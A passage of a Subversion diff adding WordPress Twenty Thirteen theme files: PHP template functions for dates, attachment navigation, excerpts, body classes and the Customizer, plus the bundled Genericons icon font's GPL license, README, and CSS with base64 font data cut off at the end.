+		$format_prefix = '%2$s';
+
+	$date = sprintf( '<span class="date"><a href="%1$s" title="%2$s" rel="bookmark"><time class="entry-date" datetime="%3$s">%4$s</time></a></span>',
+		esc_url( get_permalink() ),
+		esc_attr( sprintf( __( 'Permalink to %s', 'twentythirteen' ), the_title_attribute( 'echo=0' ) ) ),
+		esc_attr( get_the_date( 'c' ) ),
+		esc_html( sprintf( $format_prefix, get_post_format_string( get_post_format() ), get_the_date() ) )
+	);
+
+	if ( $echo )
+		echo $date;
+
+	return $date;
+}
+endif;
+
+if ( ! function_exists( 'twentythirteen_the_attached_image' ) ) :
+/**
+ * Print the attached image with a link to the next attached image.
+ *
+ * @since Twenty Thirteen 1.0
+ */
+function twentythirteen_the_attached_image() {
+	/**
+	 * Filter the image attachment size to use.
+	 *
+	 * @since Twenty thirteen 1.0
+	 *
+	 * @param array $size {
+	 *     @type int The attachment height in pixels.
+	 *     @type int The attachment width in pixels.
+	 * }
+	 */
+	$attachment_size     = apply_filters( 'twentythirteen_attachment_size', array( 724, 724 ) );
+	$next_attachment_url = wp_get_attachment_url();
+	$post                = get_post();
+
+	/*
+	 * Grab the IDs of all the image attachments in a gallery so we can get the URL
+	 * of the next adjacent image in a gallery, or the first image (if we're
+	 * looking at the last image in a gallery), or, in a gallery of one, just the
+	 * link to that image file.
+	 */
+	$attachment_ids = get_posts( array(
+		'post_parent'    => $post->post_parent,
+		'fields'         => 'ids',
+		'numberposts'    => -1,
+		'post_status'    => 'inherit',
+		'post_type'      => 'attachment',
+		'post_mime_type' => 'image',
+		'order'          => 'ASC',
+		'orderby'        => 'menu_order ID',
+	) );
+
+	// If there is more than 1 attachment in a gallery...
+	if ( count( $attachment_ids ) > 1 ) {
+		foreach ( $attachment_ids as $idx => $attachment_id ) {
+			if ( $attachment_id == $post->ID ) {
+				$next_id = $attachment_ids[ ( $idx + 1 ) % count( $attachment_ids ) ];
+				break;
+			}
+		}
+
+		// get the URL of the next image attachment...
+		if ( $next_id )
+			$next_attachment_url = get_attachment_link( $next_id );
+
+		// or get the URL of the first image attachment.
+		else
+			$next_attachment_url = get_attachment_link( reset( $attachment_ids ) );
+	}
+
+	printf( '<a href="%1$s" title="%2$s" rel="attachment">%3$s</a>',
+		esc_url( $next_attachment_url ),
+		the_title_attribute( array( 'echo' => false ) ),
+		wp_get_attachment_image( $post->ID, $attachment_size )
+	);
+}
+endif;
+
+/**
+ * Return the post URL.
+ *
+ * @uses get_url_in_content() to get the URL in the post meta (if it exists) or
+ * the first link found in the post content.
+ *
+ * Falls back to the post permalink if no URL is found in the post.
+ *
+ * @since Twenty Thirteen 1.0
+ *
+ * @return string The Link format URL.
+ */
+function twentythirteen_get_link_url() {
+	$content = get_the_content();
+	$has_url = get_url_in_content( $content );
+
+	return ( $has_url ) ? $has_url : apply_filters( 'the_permalink', get_permalink() );
+}
+
+if ( ! function_exists( 'twentythirteen_excerpt_more' ) && ! is_admin() ) :
+/**
+ * Replaces "[...]" (appended to automatically generated excerpts) with ...
+ * and a Continue reading link.
+ *
+ * @since Twenty Thirteen 1.4
+ *
+ * @param string $more Default Read More excerpt link.
+ * @return string Filtered Read More excerpt link.
+ */
+function twentythirteen_excerpt_more( $more ) {
+	$link = sprintf( '<a href="%1$s" class="more-link">%2$s</a>',
+		esc_url( get_permalink( get_the_ID() ) ),
+			/* translators: %s: Name of current post */
+			sprintf( __( 'Continue reading %s <span class="meta-nav">&rarr;</span>', 'twentythirteen' ), '<span class="screen-reader-text">' . get_the_title( get_the_ID() ) . '</span>' )
+		);
+	return ' &hellip; ' . $link;
+}
+add_filter( 'excerpt_more', 'twentythirteen_excerpt_more' );
+endif;
+
+/**
+ * Extend the default WordPress body classes.
+ *
+ * Adds body classes to denote:
+ * 1. Single or multiple authors.
+ * 2. Active widgets in the sidebar to change the layout and spacing.
+ * 3. When avatars are disabled in discussion settings.
+ *
+ * @since Twenty Thirteen 1.0
+ *
+ * @param array $classes A list of existing body class values.
+ * @return array The filtered body class list.
+ */
+function twentythirteen_body_class( $classes ) {
+	if ( ! is_multi_author() )
+		$classes[] = 'single-author';
+
+	if ( is_active_sidebar( 'sidebar-2' ) && ! is_attachment() && ! is_404() )
+		$classes[] = 'sidebar';
+
+	if ( ! get_option( 'show_avatars' ) )
+		$classes[] = 'no-avatars';
+
+	return $classes;
+}
+add_filter( 'body_class', 'twentythirteen_body_class' );
+
+/**
+ * Adjust content_width value for video post formats and attachment templates.
+ *
+ * @since Twenty Thirteen 1.0
+ */
+function twentythirteen_content_width() {
+	global $content_width;
+
+	if ( is_attachment() )
+		$content_width = 724;
+	elseif ( has_post_format( 'audio' ) )
+		$content_width = 484;
+}
+add_action( 'template_redirect', 'twentythirteen_content_width' );
+
+/**
+ * Add postMessage support for site title and description for the Customizer.
+ *
+ * @since Twenty Thirteen 1.0
+ *
+ * @param WP_Customize_Manager $wp_customize Customizer object.
+ */
+function twentythirteen_customize_register( $wp_customize ) {
+	$wp_customize->get_setting( 'blogname' )->transport         = 'postMessage';
+	$wp_customize->get_setting( 'blogdescription' )->transport  = 'postMessage';
+	$wp_customize->get_setting( 'header_textcolor' )->transport = 'postMessage';
+
+	if ( isset( $wp_customize->selective_refresh ) ) {
+		$wp_customize->selective_refresh->add_partial( 'blogname', array(
+			'selector' => '.site-title',
+			'container_inclusive' => false,
+			'render_callback' => 'twentythirteen_customize_partial_blogname',
+		) );
+		$wp_customize->selective_refresh->add_partial( 'blogdescription', array(
+			'selector' => '.site-description',
+			'container_inclusive' => false,
+			'render_callback' => 'twentythirteen_customize_partial_blogdescription',
+		) );
+	}
+}
+add_action( 'customize_register', 'twentythirteen_customize_register' );
+
+/**
+ * Render the site title for the selective refresh partial.
+ *
+ * @since Twenty Thirteen 1.9
+ * @see twentythirteen_customize_register()
+ *
+ * @return void
+ */
+function twentythirteen_customize_partial_blogname() {
+	bloginfo( 'name' );
+}
+
+/**
+ * Render the site tagline for the selective refresh partial.
+ *
+ * @since Twenty Thirteen 1.9
+ * @see twentythirteen_customize_register()
+ *
+ * @return void
+ */
+function twentythirteen_customize_partial_blogdescription() {
+	bloginfo( 'description' );
+}
+
+/**
+ * Enqueue Javascript postMessage handlers for the Customizer.
+ *
+ * Binds JavaScript handlers to make the Customizer preview
+ * reload changes asynchronously.
+ *
+ * @since Twenty Thirteen 1.0
+ */
+function twentythirteen_customize_preview_js() {
+	wp_enqueue_script( 'twentythirteen-customizer', get_template_directory_uri() . '/js/theme-customizer.js', array( 'customize-preview' ), '20141120', true );
+}
+add_action( 'customize_preview_init', 'twentythirteen_customize_preview_js' );
+
+/**
+ * Modifies tag cloud widget arguments to display all tags in the same font size
+ * and use list format for better accessibility.
+ *
+ * @since Twenty Thirteen 2.3
+ *
+ * @param array $args Arguments for tag cloud widget.
+ * @return array The filtered arguments for tag cloud widget.
+ */
+function twentythirteen_widget_tag_cloud_args( $args ) {
+	$args['largest']  = 22;
+	$args['smallest'] = 8;
+	$args['unit']     = 'pt';
+	$args['format']   = 'list';
+
+	return $args;
+}
+add_filter( 'widget_tag_cloud_args', 'twentythirteen_widget_tag_cloud_args' );
Index: /tags/5.0.20/src/wp-content/themes/twentythirteen/genericons/COPYING.txt
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentythirteen/genericons/COPYING.txt	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentythirteen/genericons/COPYING.txt	(revision 56912)
@@ -0,0 +1,9 @@
+Genericons is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version.
+
+The fonts are distributed WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
+
+You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
+
+As a special exception, if you create a document which uses this font, and embed this font or unaltered portions of this font into the document, this font does not by itself cause the resulting document to be covered by the GNU General Public License. This exception does not however invalidate any other reasons why the document might be covered by the GNU General Public License. If you modify this font, you may extend this exception to your version of the font, but you are not obligated to do so. If you do not wish to do so, delete this exception statement from your version.
+
+This license does not convey any intellectual property rights to third party trademarks that may be included in the icon font; such marks remain subject to all rights and guidelines of use of their owner.
Index: /tags/5.0.20/src/wp-content/themes/twentythirteen/genericons/LICENSE.txt
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentythirteen/genericons/LICENSE.txt	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentythirteen/genericons/LICENSE.txt	(revision 56912)
@@ -0,0 +1,339 @@
+                    GNU GENERAL PUBLIC LICENSE
+                       Version 2, June 1991
+
+ Copyright (C) 1989, 1991 Free Software Foundation, Inc.,
+ 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
+ Everyone is permitted to copy and distribute verbatim copies
+ of this license document, but changing it is not allowed.
+
+                            Preamble
+
+  The licenses for most software are designed to take away your
+freedom to share and change it.  By contrast, the GNU General Public
+License is intended to guarantee your freedom to share and change free
+software--to make sure the software is free for all its users.  This
+General Public License applies to most of the Free Software
+Foundation's software and to any other program whose authors commit to
+using it.  (Some other Free Software Foundation software is covered by
+the GNU Lesser General Public License instead.)  You can apply it to
+your programs, too.
+
+  When we speak of free software, we are referring to freedom, not
+price.  Our General Public Licenses are designed to make sure that you
+have the freedom to distribute copies of free software (and charge for
+this service if you wish), that you receive source code or can get it
+if you want it, that you can change the software or use pieces of it
+in new free programs; and that you know you can do these things.
+
+  To protect your rights, we need to make restrictions that forbid
+anyone to deny you these rights or to ask you to surrender the rights.
+These restrictions translate to certain responsibilities for you if you
+distribute copies of the software, or if you modify it.
+
+  For example, if you distribute copies of such a program, whether
+gratis or for a fee, you must give the recipients all the rights that
+you have.  You must make sure that they, too, receive or can get the
+source code.  And you must show them these terms so they know their
+rights.
+
+  We protect your rights with two steps: (1) copyright the software, and
+(2) offer you this license which gives you legal permission to copy,
+distribute and/or modify the software.
+
+  Also, for each author's protection and ours, we want to make certain
+that everyone understands that there is no warranty for this free
+software.  If the software is modified by someone else and passed on, we
+want its recipients to know that what they have is not the original, so
+that any problems introduced by others will not reflect on the original
+authors' reputations.
+
+  Finally, any free program is threatened constantly by software
+patents.  We wish to avoid the danger that redistributors of a free
+program will individually obtain patent licenses, in effect making the
+program proprietary.  To prevent this, we have made it clear that any
+patent must be licensed for everyone's free use or not licensed at all.
+
+  The precise terms and conditions for copying, distribution and
+modification follow.
+
+                    GNU GENERAL PUBLIC LICENSE
+   TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION
+
+  0. This License applies to any program or other work which contains
+a notice placed by the copyright holder saying it may be distributed
+under the terms of this General Public License.  The "Program", below,
+refers to any such program or work, and a "work based on the Program"
+means either the Program or any derivative work under copyright law:
+that is to say, a work containing the Program or a portion of it,
+either verbatim or with modifications and/or translated into another
+language.  (Hereinafter, translation is included without limitation in
+the term "modification".)  Each licensee is addressed as "you".
+
+Activities other than copying, distribution and modification are not
+covered by this License; they are outside its scope.  The act of
+running the Program is not restricted, and the output from the Program
+is covered only if its contents constitute a work based on the
+Program (independent of having been made by running the Program).
+Whether that is true depends on what the Program does.
+
+  1. You may copy and distribute verbatim copies of the Program's
+source code as you receive it, in any medium, provided that you
+conspicuously and appropriately publish on each copy an appropriate
+copyright notice and disclaimer of warranty; keep intact all the
+notices that refer to this License and to the absence of any warranty;
+and give any other recipients of the Program a copy of this License
+along with the Program.
+
+You may charge a fee for the physical act of transferring a copy, and
+you may at your option offer warranty protection in exchange for a fee.
+
+  2. You may modify your copy or copies of the Program or any portion
+of it, thus forming a work based on the Program, and copy and
+distribute such modifications or work under the terms of Section 1
+above, provided that you also meet all of these conditions:
+
+    a) You must cause the modified files to carry prominent notices
+    stating that you changed the files and the date of any change.
+
+    b) You must cause any work that you distribute or publish, that in
+    whole or in part contains or is derived from the Program or any
+    part thereof, to be licensed as a whole at no charge to all third
+    parties under the terms of this License.
+
+    c) If the modified program normally reads commands interactively
+    when run, you must cause it, when started running for such
+    interactive use in the most ordinary way, to print or display an
+    announcement including an appropriate copyright notice and a
+    notice that there is no warranty (or else, saying that you provide
+    a warranty) and that users may redistribute the program under
+    these conditions, and telling the user how to view a copy of this
+    License.  (Exception: if the Program itself is interactive but
+    does not normally print such an announcement, your work based on
+    the Program is not required to print an announcement.)
+
+These requirements apply to the modified work as a whole.  If
+identifiable sections of that work are not derived from the Program,
+and can be reasonably considered independent and separate works in
+themselves, then this License, and its terms, do not apply to those
+sections when you distribute them as separate works.  But when you
+distribute the same sections as part of a whole which is a work based
+on the Program, the distribution of the whole must be on the terms of
+this License, whose permissions for other licensees extend to the
+entire whole, and thus to each and every part regardless of who wrote it.
+
+Thus, it is not the intent of this section to claim rights or contest
+your rights to work written entirely by you; rather, the intent is to
+exercise the right to control the distribution of derivative or
+collective works based on the Program.
+
+In addition, mere aggregation of another work not based on the Program
+with the Program (or with a work based on the Program) on a volume of
+a storage or distribution medium does not bring the other work under
+the scope of this License.
+
+  3. You may copy and distribute the Program (or a work based on it,
+under Section 2) in object code or executable form under the terms of
+Sections 1 and 2 above provided that you also do one of the following:
+
+    a) Accompany it with the complete corresponding machine-readable
+    source code, which must be distributed under the terms of Sections
+    1 and 2 above on a medium customarily used for software interchange; or,
+
+    b) Accompany it with a written offer, valid for at least three
+    years, to give any third party, for a charge no more than your
+    cost of physically performing source distribution, a complete
+    machine-readable copy of the corresponding source code, to be
+    distributed under the terms of Sections 1 and 2 above on a medium
+    customarily used for software interchange; or,
+
+    c) Accompany it with the information you received as to the offer
+    to distribute corresponding source code.  (This alternative is
+    allowed only for noncommercial distribution and only if you
+    received the program in object code or executable form with such
+    an offer, in accord with Subsection b above.)
+
+The source code for a work means the preferred form of the work for
+making modifications to it.  For an executable work, complete source
+code means all the source code for all modules it contains, plus any
+associated interface definition files, plus the scripts used to
+control compilation and installation of the executable.  However, as a
+special exception, the source code distributed need not include
+anything that is normally distributed (in either source or binary
+form) with the major components (compiler, kernel, and so on) of the
+operating system on which the executable runs, unless that component
+itself accompanies the executable.
+
+If distribution of executable or object code is made by offering
+access to copy from a designated place, then offering equivalent
+access to copy the source code from the same place counts as
+distribution of the source code, even though third parties are not
+compelled to copy the source along with the object code.
+
+  4. You may not copy, modify, sublicense, or distribute the Program
+except as expressly provided under this License.  Any attempt
+otherwise to copy, modify, sublicense or distribute the Program is
+void, and will automatically terminate your rights under this License.
+However, parties who have received copies, or rights, from you under
+this License will not have their licenses terminated so long as such
+parties remain in full compliance.
+
+  5. You are not required to accept this License, since you have not
+signed it.  However, nothing else grants you permission to modify or
+distribute the Program or its derivative works.  These actions are
+prohibited by law if you do not accept this License.  Therefore, by
+modifying or distributing the Program (or any work based on the
+Program), you indicate your acceptance of this License to do so, and
+all its terms and conditions for copying, distributing or modifying
+the Program or works based on it.
+
+  6. Each time you redistribute the Program (or any work based on the
+Program), the recipient automatically receives a license from the
+original licensor to copy, distribute or modify the Program subject to
+these terms and conditions.  You may not impose any further
+restrictions on the recipients' exercise of the rights granted herein.
+You are not responsible for enforcing compliance by third parties to
+this License.
+
+  7. If, as a consequence of a court judgment or allegation of patent
+infringement or for any other reason (not limited to patent issues),
+conditions are imposed on you (whether by court order, agreement or
+otherwise) that contradict the conditions of this License, they do not
+excuse you from the conditions of this License.  If you cannot
+distribute so as to satisfy simultaneously your obligations under this
+License and any other pertinent obligations, then as a consequence you
+may not distribute the Program at all.  For example, if a patent
+license would not permit royalty-free redistribution of the Program by
+all those who receive copies directly or indirectly through you, then
+the only way you could satisfy both it and this License would be to
+refrain entirely from distribution of the Program.
+
+If any portion of this section is held invalid or unenforceable under
+any particular circumstance, the balance of the section is intended to
+apply and the section as a whole is intended to apply in other
+circumstances.
+
+It is not the purpose of this section to induce you to infringe any
+patents or other property right claims or to contest validity of any
+such claims; this section has the sole purpose of protecting the
+integrity of the free software distribution system, which is
+implemented by public license practices.  Many people have made
+generous contributions to the wide range of software distributed
+through that system in reliance on consistent application of that
+system; it is up to the author/donor to decide if he or she is willing
+to distribute software through any other system and a licensee cannot
+impose that choice.
+
+This section is intended to make thoroughly clear what is believed to
+be a consequence of the rest of this License.
+
+  8. If the distribution and/or use of the Program is restricted in
+certain countries either by patents or by copyrighted interfaces, the
+original copyright holder who places the Program under this License
+may add an explicit geographical distribution limitation excluding
+those countries, so that distribution is permitted only in or among
+countries not thus excluded.  In such case, this License incorporates
+the limitation as if written in the body of this License.
+
+  9. The Free Software Foundation may publish revised and/or new versions
+of the General Public License from time to time.  Such new versions will
+be similar in spirit to the present version, but may differ in detail to
+address new problems or concerns.
+
+Each version is given a distinguishing version number.  If the Program
+specifies a version number of this License which applies to it and "any
+later version", you have the option of following the terms and conditions
+either of that version or of any later version published by the Free
+Software Foundation.  If the Program does not specify a version number of
+this License, you may choose any version ever published by the Free Software
+Foundation.
+
+  10. If you wish to incorporate parts of the Program into other free
+programs whose distribution conditions are different, write to the author
+to ask for permission.  For software which is copyrighted by the Free
+Software Foundation, write to the Free Software Foundation; we sometimes
+make exceptions for this.  Our decision will be guided by the two goals
+of preserving the free status of all derivatives of our free software and
+of promoting the sharing and reuse of software generally.
+
+                            NO WARRANTY
+
+  11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY
+FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW.  EXCEPT WHEN
+OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES
+PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED
+OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
+MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE.  THE ENTIRE RISK AS
+TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU.  SHOULD THE
+PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING,
+REPAIR OR CORRECTION.
+
+  12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
+WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR
+REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES,
+INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING
+OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED
+TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY
+YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER
+PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE
+POSSIBILITY OF SUCH DAMAGES.
+
+                     END OF TERMS AND CONDITIONS
+
+            How to Apply These Terms to Your New Programs
+
+  If you develop a new program, and you want it to be of the greatest
+possible use to the public, the best way to achieve this is to make it
+free software which everyone can redistribute and change under these terms.
+
+  To do so, attach the following notices to the program.  It is safest
+to attach them to the start of each source file to most effectively
+convey the exclusion of warranty; and each file should have at least
+the "copyright" line and a pointer to where the full notice is found.
+
+    <one line to give the program's name and a brief idea of what it does.>
+    Copyright (C) <year>  <name of author>
+
+    This program is free software; you can redistribute it and/or modify
+    it under the terms of the GNU General Public License as published by
+    the Free Software Foundation; either version 2 of the License, or
+    (at your option) any later version.
+
+    This program is distributed in the hope that it will be useful,
+    but WITHOUT ANY WARRANTY; without even the implied warranty of
+    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+    GNU General Public License for more details.
+
+    You should have received a copy of the GNU General Public License along
+    with this program; if not, write to the Free Software Foundation, Inc.,
+    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
+
+Also add information on how to contact you by electronic and paper mail.
+
+If the program is interactive, make it output a short notice like this
+when it starts in an interactive mode:
+
+    Gnomovision version 69, Copyright (C) year name of author
+    Gnomovision comes with ABSOLUTELY NO WARRANTY; for details type `show w'.
+    This is free software, and you are welcome to redistribute it
+    under certain conditions; type `show c' for details.
+
+The hypothetical commands `show w' and `show c' should show the appropriate
+parts of the General Public License.  Of course, the commands you use may
+be called something other than `show w' and `show c'; they could even be
+mouse-clicks or menu items--whatever suits your program.
+
+You should also get your employer (if you work as a programmer) or your
+school, if any, to sign a "copyright disclaimer" for the program, if
+necessary.  Here is a sample; alter the names:
+
+  Yoyodyne, Inc., hereby disclaims all copyright interest in the program
+  `Gnomovision' (which makes passes at compilers) written by James Hacker.
+
+  <signature of Ty Coon>, 1 April 1989
+  Ty Coon, President of Vice
+
+This General Public License does not permit incorporating your program into
+proprietary programs.  If your program is a subroutine library, you may
+consider it more useful to permit linking proprietary applications with the
+library.  If this is what you want to do, use the GNU Lesser General
+Public License instead of this License.
Index: /tags/5.0.20/src/wp-content/themes/twentythirteen/genericons/README.txt
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentythirteen/genericons/README.txt	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentythirteen/genericons/README.txt	(revision 56912)
@@ -0,0 +1,123 @@
+  ___  ____  __ _  ____  ____  __  ___  __   __ _  ____ 
+ / __)(  __)(  ( \(  __)(  _ \(  )/ __)/  \ (  ( \/ ___)
+( (_ \ ) _) /    / ) _)  )   / )(( (__(  O )/    /\___ \
+ \___/(____)\_)__)(____)(__\_)(__)\___)\__/ \_)__)(____/
+
+
+Genericons are vector icons embedded in a webfont designed to be clean and simple keeping with a generic aesthetic.
+
+Use genericons for instant HiDPI, to change icon colors on the fly, or even with CSS effects such as drop-shadows or gradients!
+
+
+_  _ ____ ____ ____ ____ 
+|  | [__  |__| | __ |___ 
+|__| ___] |  | |__] |___ 
+
+
+To use it, place the font folder in your stylesheet directory and paste this in your CSS file:
+
+/* =Genericons, thanks to FontSquirrel.com for conversion!
+-------------------------------------------------------------- */
+@font-face {
+    font-family: 'Genericons';
+    src: url('font/genericons-regular-webfont.eot');
+    src: url('font/genericons-regular-webfont.eot?#iefix') format('embedded-opentype'),
+         url('font/genericons-regular-webfont.woff') format('woff'),
+         url('font/genericons-regular-webfont.ttf') format('truetype'),
+         url('font/genericons-regular-webfont.svg#genericonsregular') format('svg');
+    font-weight: normal;
+    font-style: normal;
+
+}
+
+Note: the above only works if you don't use a CDN. If you do, or don't know what that is, you should use the syntax that's embedded in genericons.css.
+
+From then on, you can create an icon like this:
+
+.my-icon:before {
+	content: '\f101';
+	display: inline-block;
+	-webkit-font-smoothing: antialiased;
+	font: normal 16px/1 'Genericons';
+	vertical-align: top;
+}
+
+This will output a comment icon before every element with the class "my-icon". The "content: '\f101';" part of this CSS is easily copied from the helper tool at http://genericons.com/
+
+You can also use the bundled example.css if you'd rather insert the icons using HTML tags.
+
+
+_  _ ____ ___ ____ ____ 
+|\ | |  |  |  |___ [__  
+| \| |__|  |  |___ ___]
+
+
+Photoshop mockups:
+
+Genericons-Regular.otf found in the root directory of this zip has not been web-font-ified. So you can drop it in your system fonts folder and use the font in Photoshop if you like.
+
+For those of you using Genericons in your Photoshop mockup, remember to delete the old version of the font from Font Book, and grab the new one from the zip file. This also affects using it in your webdesigns: if you have an old version of the font installed locally, that's the font that'll be used in your website as well, so if you're missing icons, check for old versions of the font on your system.
+
+Pixel grid:
+
+Note that Genericons has been designed for a 16x16 pixel grid. That means it'll look sharp at font-size: 16px exactly. It'll also be crisp at multiples thereof, such as 32px or 64px. It'll also look reasonably crisp at in-between font sizes such as 24px or 48px, but not quite as crisp as 16 or 32. Please don't set the font-size to 17px, though, that'll just look terrible.
+
+Also note the CSS property "-webkit-font-smoothing: antialiased". That makes the icons look great in WebKit browsers. Please see http://noscope.com/2012/font-smoothing for more info.
+
+Updates:
+
+We don't often update icons, but do very carefully when we get good feedback suggesting improvements. Please be mindful if you upgrade, and check that the updated icons behave as you intended.
+
+
+
+____ _  _ ____ _  _ ____ ____ _    ____ ____ 
+|    |__| |__| |\ | | __ |___ |    |  | | __ 
+|___ |  | |  | | \| |__] |___ |___ |__| |__] 
+
+V3.0.3:
+Bunch of updates mostly.
+- Two new icons, Dropbox and Fullscreen.
+- Updates to all icons containing an exclamation mark.
+- Updates to Image and Quote.
+- Nicer "Share" icon.
+- Bigger default Linkedin icon.
+
+V3.0.2: 
+A slew of new stuff and updates.
+- Social icons: Skype, Digg, Reddit, Stumbleupon, Pocket.
+- New generic icons: heart, lock and print.
+- New editing icons: code, bold, italic, image
+- New interaction icons: subscribe, unsubscribe, subscribed, reply all, reply, flag.
+- The hyperlink icon has been updated to be clearer, chunkier.
+- The "home" icon has been updated for style, size and clarity.
+- The email icon has been updated for style and clarity, and to fit with the new subscribe icons.
+- The document icon has been updated for style.
+- The "pin" icon has been updated for style and clarity.
+- The Twitter icon has been scaled down to fit with the other social icons.
+
+V3.0.1: 
+Mostly maintenance. 
+- Fixed an issue with the example page that showed an old "top" icon instead of the actual NEW "refresh" icon.
+- Added inverse Google+ and Path.
+- Replaced tabs with spaces in the helper CSS.
+- Changed the Genericons.com copy/paste tool to serve span's instead of div's for casual icon insertion. It's being converted to "inline-block" anyway.
+
+V3.0:
+Mainly maintenance and a few new icons.
+- Fast forward, rewind, PollDaddy, Notice, Info, Help, Portfolio
+- Updated the feed icon. It's a bit smaller now for consistency, the previous one was rather big.
+- So, the previous version numbering, 2.09, wasn't very PHP version compare friendly. So from now on it'll be 3.0, 3.1 etc. Props Ipstenu.
+- Genericons.com now has a mini release blog.
+- The CSS has prettier formatting, props Konstantin Obenland.
+
+V2.09:
+Updated Facebook icon to new version. Updated Instagram logo to use new one-color version. Updated Google+ icon to use same radius as Instagram and Facebook. Added a bunch of new icons, cog, unapprove, cart, media player buttons, tablet, send to tablet.                                            
+
+V2.06:
+Included Base64 encoded version. This is necessary for Genericons to work with CDNs in Firefox. Firefox blocks fonts linked from a different domain. A CDN (typically s.example.com) usually puts the font on a subdomain, and is hence blocked in Firefox.
+
+V2.05:
+Added a bunch of new icons, including upload to cloud, download to cloud, many more.
+
+V2:
+Initial public release
Index: /tags/5.0.20/src/wp-content/themes/twentythirteen/genericons/font/genericons-regular-webfont.svg
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentythirteen/genericons/font/genericons-regular-webfont.svg	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentythirteen/genericons/font/genericons-regular-webfont.svg	(revision 56912)
@@ -0,0 +1,135 @@
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Index: /tags/5.0.20/src/wp-content/themes/twentythirteen/genericons/genericons.css
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentythirteen/genericons/genericons.css	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentythirteen/genericons/genericons.css	(revision 56912)
@@ -0,0 +1,197 @@
+/**
+
+	Genericons Helper CSS
+
+*/
+
+
+/**
+ * The font was graciously generated by Font Squirrel (http://www.fontsquirrel.com). We love those guys.
+ */
+
+@font-face {
+    font-family: 'Genericons';
+    src: url('font/genericons-regular-webfont.eot');
+}
+
+@font-face {
+    font-family: 'Genericons';
+    src: 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G0GppVpbKtk5lXY6tTqtjtp40LadLqfa5qVqYw+XSaOuNSDjulCSBYpsHYnytNMKWho4WCft/YjOpRvp3I/27v1IOaR8TTn0UfpUSblx5u50eGMw4LCZ7G0TaUS+YYndbLfvvjCyIRi02KjZEptIgwvrATnU2zmbxqKt1eh5fv4k4ybl/QdfVR6iF27ZsedmgfuY3nrkjcs1U/g5n/kVOOO4Pym71gieh6hJw/G0OcBruNH7OJEu03EBHzVio63ByUHrw7T2wtxKf3x5JiB4jY019SanaDfmBukVm58/9XV/XKvhDpb3DtHtb7463NJ66wOqfzE2tzPIcnIFeYjISxNyS0qeXUK+AxA5HRyNlGwvFafbcfqme2H6GoAX16pzjJ4bOmpg8WV3Ug6Btk4WAyF8NNAF3LgO5lcHHscwb5q5AmctIOaNmhrvhFhv/+LB1WyuZ8NcF0lsJqjgAm+Cc128C+3udPEItfiDockrL2Pm1Cbi5KCZpK6ANhjgM6qkeqhfDIp+hwrrUWrBzIJ51cP9LDtNZf0BLd9DXWBPNS6cVZBgW6TTBd/k1AJrSDeUvB6fu9lrnW07cp8q2uCknGaqDyCtotFcfDcfNIdsHlHUx+ceumjgwK3lR278/YzcG9LiObbBULfHo9PR8qElt01z3L3ruh85HdKuG16i79Lf38hPyfm7wx4qaKehRlD9H/zqUfiVJufdT23g3LVNYqO93mFMz5x815GtRzr2Xnbqm0vWU9pQN7lhYmBigyds0V8hdD7ya0H4/TcPjAjCL4mKycCAap8Br94CunkWQ9owB3wCcEwVaasT5IEJ8pYYUtYBtinUmYDCHrEghhCWhepF6yGLua09rqIyu3MyBQAZp6A6bKA3gMLpbA9NJREjw3mcA2Wo0WX8XmrhAKVdsZBbvJauGRhYZ6NzlKcBls2usQ9OnTTXT2fn1t2+KNSbSvh9jhrlCIU/rTj7sstm969aferb/L+P+rkJnY3JmZNWzyj/J9e15bsbsjW2xsZgk3iX+23lPeU/Lz6LT5sAe2bJDUwDARL2x0DtdDBn0Oc7IcqdKdkG/pdFdsP4u9j4wQO2MCfYy/wG2a9yawwcEkuhTVVDOSCL18NMgOwXC/UuIE7AKmdyckwsdHQiiXxwu9CSUV3h8SYC0PbnkosRixkOoNWYyUCbQMnCaXT6ALegd/oiC9WBF/x1qtdbZqR2U/3B25MLuwIW5ePxRmSfcO2kCy+c1D1v/qdH+IbR9+jRdltL17CyjL74vafr2yINW4AZngRAtQCw1DTyXVJ0In4yJ+QJJaSQFgjSywiSKckZS6EJRg52MmAp